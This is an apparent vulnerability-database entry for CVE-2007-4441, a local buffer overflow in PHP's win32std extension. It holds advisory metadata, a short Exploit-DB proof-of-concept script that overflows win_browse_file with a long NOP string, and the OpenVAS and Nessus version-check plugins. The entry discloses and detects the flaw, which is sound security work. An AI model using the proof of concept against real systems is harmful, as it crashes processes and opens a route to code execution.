Search...

PHP win32std Extension (php_win32sti.dll) win_browse_file Function Overflow

2007-08-18T17:16:39

ID OSVDB:36850
Type osvdb
Reporter OSVDB
Modified 2007-08-18T17:16:39

Description

No description provided by the source

References:

Vendor URL: http://www.php.net/ Secunia Advisory ID:25735 Related OSVDB ID: 36847 Related OSVDB ID: 36848 Related OSVDB ID: 36853 Related OSVDB ID: 36851 ISS X-Force ID: 36118 Generic Exploit URL: http://www.milw0rm.com/exploits/4293 CVE-2007-4441 Bugtraq ID: 25414

JSON Vulners Source

Initial Source

{"bulletinFamily": "software", "viewCount": 16, "reporter": "OSVDB", "references": [], "description": "# No description provided by the source\n\n## References:\nVendor URL: http://www.php.net/\n[Secunia Advisory ID:25735](https://secuniaresearch.flexerasoftware.com/advisories/25735/)\n[Related OSVDB ID: 36847](https://vulners.com/osvdb/OSVDB:36847)\n[Related OSVDB ID: 36848](https://vulners.com/osvdb/OSVDB:36848)\n[Related OSVDB ID: 36853](https://vulners.com/osvdb/OSVDB:36853)\n[Related OSVDB ID: 36851](https://vulners.com/osvdb/OSVDB:36851)\nISS X-Force ID: 36118\nGeneric Exploit URL: http://www.milw0rm.com/exploits/4293\n[CVE-2007-4441](https://vulners.com/cve/CVE-2007-4441)\nBugtraq ID: 25414\n", "affectedSoftware": [], "hashmap": [{"key": "affectedSoftware", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "bulletinFamily", "hash": "f9fa10ba956cacf91d7878861139efb9"}, {"key": "cvelist", "hash": "f48ebd325665133ed7ab61c22b41ada6"}, {"key": "cvss", "hash": "292f2e293571b0e70e3182b615982dad"}, {"key": "description", "hash": "17145f90b8f18b1f642f498a0debeacb"}, {"key": "href", "hash": "b2d45b32df4fb891d5333a9f00b1a9fd"}, {"key": "modified", "hash": "f9eeb69900ede70c04f68f197f855441"}, {"key": "objectVersion", "hash": "56765472680401499c79732468ba4340"}, {"key": "published", "hash": "f9eeb69900ede70c04f68f197f855441"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "955b328dc7cd615c13af5464c9183464"}, {"key": "title", "hash": "94c758ec10f79fa2382a489285befdde"}, {"key": "type", "hash": "1327ac71f7914948578f08c54f772b10"}], "href": "https://vulners.com/osvdb/OSVDB:36850", "modified": "2007-08-18T17:16:39", "objectVersion": "1.2", "enchantments": {"score": {"value": 7.0, "vector": "NONE", "modified": "2017-04-28T13:20:32"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2007-4441"]}, {"type": "exploitdb", "idList": ["EDB-ID:4293"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310110175"]}, {"type": "nessus", "idList": ["PHP_5_2_1.NASL"]}], "modified": "2017-04-28T13:20:32"}, "vulnersScore": 7.0}, "id": "OSVDB:36850", "title": "PHP win32std Extension (php_win32sti.dll) win_browse_file Function Overflow", "hash": "1b06ba26c8c875c9eb031b6eba5e9738d9b4cdea2802aa76b7d8934166e02a94", "edition": 1, "published": "2007-08-18T17:16:39", "type": "osvdb", "history": [], "cvss": {"score": 4.6, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "cvelist": ["CVE-2007-4441"], "lastseen": "2017-04-28T13:20:32"}

{"cve": [{"lastseen": "2019-05-29T18:09:01", "bulletinFamily": "NVD", "description": "Buffer overflow in php_win32std.dll in the win32std extension for PHP 5.2.0 and earlier allows context-dependent attackers to execute arbitrary code via a long string in the filename argument to the win_browse_file function.", "modified": "2017-09-29T01:29:00", "id": "CVE-2007-4441", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-4441", "published": "2007-08-21T00:17:00", "title": "CVE-2007-4441", "type": "cve", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}], "exploitdb": [{"lastseen": "2016-01-31T20:34:49", "bulletinFamily": "exploit", "description": "PHP <= 5.2.0 (php_win32sti) Local Buffer Overflow PoC (win32). CVE-2007-4441. Dos exploit for windows platform", "modified": "2007-08-18T00:00:00", "published": "2007-08-18T00:00:00", "id": "EDB-ID:4293", "href": "https://www.exploit-db.com/exploits/4293/", "type": "exploitdb", "title": "PHP <= 5.2.0 - php_win32sti Local Buffer Overflow PoC Win32", "sourceData": "<?php\n// ==================================================================================\n//\n// php_win32sti.dll PHP <= 5.2.0 (win32) Buffer Overflow\n//\n//\t\t[x] Discovery: boecke <boecke@herzeleid.net>\n//\t\t[x] Risk: Local Buffer Overflow (Medium - High Risk)\n//\t\t[x] Notes: EDX and EIP are able to be controlled and therefore\n//\t\t\t have the potential to dictate program flow.\n//\n//\t\t[x] \"Sangre, sonando, de rabia naci.. Who do you trust?\"\n//\n// ==================================================================================\n\nif ( !extension_loaded(\"win32std\") )\n{\n\tdie;\n}\n\nwin_browse_file( 1, NULL, str_repeat( \"\\x90\", 264 ), NULL, array( \"*\" => \"*.*\" ) );\n\n?>\n\n# milw0rm.com [2007-08-18]\n", "cvss": {"score": 4.6, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/4293/"}], "openvas": [{"lastseen": "2019-05-29T18:32:03", "bulletinFamily": "scanner", "description": "PHP version smaller than 5.2.1 suffers from multiple vulnerabilities.", "modified": "2018-07-09T00:00:00", "published": "2012-06-21T00:00:00", "id": "OPENVAS:1361412562310110175", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310110175", "title": "PHP Version < 5.2.1 Multiple Vulnerabilities", "type": "openvas", "sourceData": "##############################################################################\n# OpenVAS Vulnerability Test\n# $Id: nopsec_php_5_2_1.nasl 10460 2018-07-09 07:50:03Z cfischer $\n#\n# PHP Version < 5.2.1 Multiple Vulnerabilities\n#\n# Authors:\n# Songhan Yu <syu@nopsec.com>\n#\n# Copyright:\n# Copyright NopSec Inc. 2012, http://www.nopsec.com\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nCPE = \"cpe:/a:php:php\";\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.110175\");\n script_version(\"$Revision: 10460 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-07-09 09:50:03 +0200 (Mon, 09 Jul 2018) $\");\n script_tag(name:\"creation_date\", value:\"2012-06-21 11:43:12 +0100 (Thu, 21 Jun 2012)\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_cve_id(\"CVE-2006-6383\", \"CVE-2007-0905\", \"CVE-2007-0906\", \"CVE-2007-0907\", \"CVE-2007-0908\",\n \"CVE-2007-0909\", \"CVE-2007-0910\", \"CVE-2007-0988\", \"CVE-2007-1376\", \"CVE-2007-1380\",\n \"CVE-2007-1383\", \"CVE-2007-1452\", \"CVE-2007-1453\", \"CVE-2007-1454\", \"CVE-2007-1700\",\n \"CVE-2007-1701\", \"CVE-2007-1824\", \"CVE-2007-1825\", \"CVE-2007-1835\", \"CVE-2007-1884\",\n \"CVE-2007-1885\", \"CVE-2007-1886\", \"CVE-2007-1887\", \"CVE-2007-1889\", \"CVE-2007-1890\",\n \"CVE-2007-4441\", \"CVE-2007-4586\");\n script_bugtraq_id(21508, 22496, 22805, 22806, 22862, 22922, 23119, 23120, 23219, 23233, 23234,\n 23235, 23236, 23237, 23238);\n script_name(\"PHP Version < 5.2.1 Multiple Vulnerabilities\");\n script_category(ACT_GATHER_INFO);\n script_family(\"Web application abuses\");\n script_copyright(\"Copyright NopSec Inc. 2012\");\n script_dependencies(\"gb_php_detect.nasl\");\n script_mandatory_keys(\"php/installed\");\n\n script_tag(name:\"solution\", value:\"Update PHP to version 5.2.1 or later.\");\n\n script_tag(name:\"summary\", value:\"PHP version smaller than 5.2.1 suffers from multiple vulnerabilities.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"remote_banner_unreliable\");\n\n exit(0);\n}\n\ninclude(\"version_func.inc\");\ninclude(\"host_details.inc\");\n\nif( isnull( port = get_app_port( cpe:CPE ) ) ) exit( 0 );\nif( ! vers = get_app_version( cpe:CPE, port:port ) ) exit( 0 );\n\nif( version_is_less( version:vers, test_version:\"5.2.1\" ) ) {\n report = report_fixed_ver( installed_version:vers, fixed_version:\"5.2.1\" );\n security_message( data:report, port:port );\n exit( 0 );\n}\n\nexit( 99 );", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "nessus": [{"lastseen": "2019-11-01T03:19:55", "bulletinFamily": "scanner", "description": "According to its banner, the version of PHP installed on the remote\nhost is older than 5.2.1. Such versions may be affected by several\nissues, including buffer overflows, format string vulnerabilities,\narbitrary code execution, ", "modified": "2019-11-02T00:00:00", "id": "PHP_5_2_1.NASL", "href": "https://www.tenable.com/plugins/nessus/24907", "published": "2007-04-02T00:00:00", "title": "PHP < 5.2.1 Multiple Vulnerabilities", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\nif (NASL_LEVEL < 3000) exit(0);\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(24907);\n script_version(\"1.27\");\n script_cvs_date(\"Date: 2018/07/24 18:56:10\");\n\n script_cve_id(\n \"CVE-2006-6383\",\n \"CVE-2007-0905\",\n \"CVE-2007-0906\",\n \"CVE-2007-0907\",\n \"CVE-2007-0908\",\n \"CVE-2007-0909\",\n \"CVE-2007-0910\",\n \"CVE-2007-0988\",\n \"CVE-2007-1376\",\n \"CVE-2007-1380\",\n \"CVE-2007-1383\",\n \"CVE-2007-1452\",\n \"CVE-2007-1453\",\n \"CVE-2007-1454\",\n \"CVE-2007-1700\",\n \"CVE-2007-1701\",\n \"CVE-2007-1824\",\n \"CVE-2007-1825\",\n \"CVE-2007-1835\",\n \"CVE-2007-1884\",\n \"CVE-2007-1885\",\n \"CVE-2007-1886\",\n \"CVE-2007-1887\",\n \"CVE-2007-1889\",\n \"CVE-2007-1890\",\n \"CVE-2007-4441\",\n \"CVE-2007-4586\"\n );\n script_bugtraq_id(\n 21508, \n 22496, \n 22805,\n 22806,\n 22862,\n 22922,\n 23119,\n 23120,\n 23219,\n 23233, \n 23234, \n 23235, \n 23236, \n 23237, \n 23238\n );\n\n script_name(english:\"PHP < 5.2.1 Multiple Vulnerabilities\");\n script_summary(english:\"Checks version of PHP\");\n \n script_set_attribute(\n attribute:\"synopsis\",\n value:\n\"The remote web server uses a version of PHP that is affected by\nmultiple flaws.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"According to its banner, the version of PHP installed on the remote\nhost is older than 5.2.1. Such versions may be affected by several\nissues, including buffer overflows, format string vulnerabilities,\narbitrary code execution, 'safe_mode' and 'open_basedir' bypasses, and\nclobbering of super-globals.\"\n );\n script_set_attribute(attribute:\"see_also\", value:\"http://www.php.net/releases/5_2_1.php\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to PHP version 5.2.1 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No exploit is required\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n script_cwe_id(20, 119, 189, 399);\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2006/12/09\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2007/02/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2007/04/02\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:php:php\");\n script_end_attributes();\n \n script_category(ACT_GATHER_INFO);\n script_family(english:\"CGI abuses\");\n\n script_copyright(english:\"This script is Copyright (C) 2007-2018 Tenable Network Security, Inc.\");\n\n script_dependencies(\"php_version.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_require_keys(\"www/PHP\");\n exit(0);\n}\n\n\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"http.inc\");\ninclude(\"audit.inc\");\ninclude(\"webapp_func.inc\");\n\nport = get_http_port(default:80, php:TRUE);\n\nphp = get_php_from_kb(\n port : port,\n exit_on_fail : TRUE\n);\n\nversion = php[\"ver\"];\nsource = php[\"src\"];\n\nbackported = get_kb_item('www/php/'+port+'/'+version+'/backported');\n\nif (report_paranoia < 2 && backported)\n audit(AUDIT_BACKPORT_SERVICE, port, \"PHP \"+version+\" install\");\n\nif (version =~ \"^5\\.[01]\\.\" || \n version =~ \"^5\\.2\\.0($|[^0-9])\"\n)\n{\n if (report_verbosity > 0)\n {\n report =\n '\\n Version source : '+source +\n '\\n Installed version : '+version+\n '\\n Fixed version : 5.2.1\\n';\n security_hole(port:port, extra:report);\n }\n else security_hole(port);\n exit(0);\n}\nelse audit(AUDIT_LISTEN_NOT_VULN, \"PHP\", port, version);\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}]}